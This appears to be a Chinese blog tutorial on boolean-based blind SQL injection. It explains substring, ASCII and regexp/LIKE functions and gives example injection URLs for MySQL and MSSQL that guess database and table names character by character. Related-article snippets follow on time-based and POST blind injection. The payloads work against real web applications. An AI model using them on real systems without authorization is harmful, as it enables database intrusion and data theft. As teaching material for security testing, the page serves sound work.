基於布林盲注 構造邏輯判斷

2021-10-02 04:48:28 字數 3498 閱讀 8320

基於布林盲注---構造邏輯判斷

注入過程中常用的猜解字元長的函式mid(), substr(), left()

mid(column_name,start[,length]) 擷取部分字串

引數描述

column_name

必需。要提取字元的字段

start

必需。規定開始的位置(起始值為1)

length

可選。要返回的字元數。如果省略,則mid()函式返回剩餘文字

eg:​ str=『123456』 mid(str,2,1) --> 結果為2

sql列子:

1. mid(databse(),1,1)>'a' ,檢視資料庫名字的第乙個字母,mid(database(),2,1)檢視資料庫名第二位,依次檢視字元

2. mid((select table_name from information_schema.tables where table_schema=0******x limit 0,1),1,1)>'a' column_name引數為sql語句,可以自己構造來查詢注入。

substr()函式

substr()和substring()函式實現的功能是一樣的,都是擷取字串。

string substring(string, start, length)

string substr(string, start, length) //第乙個是要處理的字串,字串開始的位置,擷取的長度

sql列子:

1. substr(database(),1,1)>'a' 資料庫第一位,substr(database(),2,1)資料庫第二位,依次檢視字串

2. substr((select table_name from information_schema.tables where table_schema=0****** limit 0,1),1,1)>'a' string 位置構造sql語句注入。

left()函式

left從左部開始擷取指定的字元

left(string, n) n為長度

sql:

left(database(),1)>『a』 資料庫名第一位,left(database(),2)>『ab』 資料庫前兩位

string構造sql語句

ord()函式

將返回第乙個字元的ascii碼

ord(mid(database(),1,1))>114 檢測第乙個字母是否大於114 「r」

ascii()函式

ascii(substr((select database()),1,1)) =98 將字元轉換成ascii值,同ord()函式

regexp 正則注入

用法:

select user() regexp 『^[a-z]』

explain: 正規表示式的用法,user()結果為root ,regexp為匹配root的正規表示式

第二位可以用select user() regexp 『^ro』

判斷第乙個表名的第乙個字元是否是a-z中的字元,blind_sqli是假設已知的庫名 ^[a-z]表示字元是在a-z範圍內.

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema=『blind_sqli』) and table regexp 『^[a-z]』 limit 0,1) /*

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="blind_sqli" and table_name regexp '^[a-n]' limit 0,1)/* 判斷是否為a-n中的字元

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="blind_sqli" and table_name regexp '^n' limit 0,1) /* 確定是否該字元為n

表示式範圍縮小如下:expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> false

當正確的時候結果為1,不正確的時候顯示結果為0.

select * from users where id =1 and 1=(if ((user() regexp 『^r』), 1,0));

select * from users where id=1 and 1=(user() regexp 『^ri』);

利用if語句判斷正確返回1,錯誤返回0

判斷匹配結束$

$是從結尾開始判斷的, table_name regexp』^username$』 來進行判斷

關於匹配多個項:

改limit 0,1–>limit 1.1 是錯誤的,regexp匹配的時候會在所有項裡面進行匹配.止血藥迴圈爆破就好了.

default.asp?id=1 and 1=(select top 1 1 from information_schema.tables where table_schema=「blind_sqli」 and table_name like 『[a-z]%』 )

該查詢語句中,select top 1 是乙個組合哦,不要看錯了。

如果要查詢其它的表名,由於不能像mysql哪樣用limit x,1,只能使用 table_name not in (select top x table_name from information_schema.tables) 意義是:表名沒有在前x行裡,其實查詢的就是x+1行.

例如 查詢第二行的表名:

default.asp?id=1 and 1=(select top 1 1 from information_schema.tables where table_schema="blind_sqli" and table_name not in ( select top 1 table_name from information_schema.tables) and table_name like '[a-z]%' )

select user() like 'ro%'

表示式的順序:

'n[a-z]%' -> 'ne[a-z]%' -> 'new[a-z]%' -> 'news[a-z]%' -> true

之所以表示式 news[a-z]查詢後返回正確是應為%代表0-n個字元,使用"_"則只能代表乙個字元。故確認後續是否還有字元克用如下表示式

'news%' true -> 'news_' false

滲透測試 SQL盲注基於布林的盲注

普通sql注入和sql盲注的區別 sql盲注的思路 基於時間的盲注 通過構造真or假判斷條件的sql語句,且sql語句中根據需要聯合使用sleep 函式一同向伺服器傳送請求,觀察伺服器響應結果是否會執行所設定時間的延遲響應,以此來判斷所構造條件的真or假 若執行sleep延遲,則表示當前設定的判斷條...

布林盲注手注

布林盲注 mid str,1,3 字串擷取 意思就是把str這個字串從第乙個字串開始,擷取前三個顯示 substr 這個函式和上面的用法一樣,也是用來擷取字串的 ord 轉換成ascii碼 length 統計長度 version 是檢視資料庫版本 database 檢視當前資料庫名 user 檢視當...

POST基於時間與布林盲注

post傳送資料到伺服器中,請求伺服器處理 表單資料提交 檔案上傳 post可能會建立新的資源或者修改現有資源 在存在注入點post提交的引數後加and if length database 5,sleep 5 null 如果執行的頁面響應時間大於5秒,那麼肯定就存在注入,並且對應的sql語句執行 ...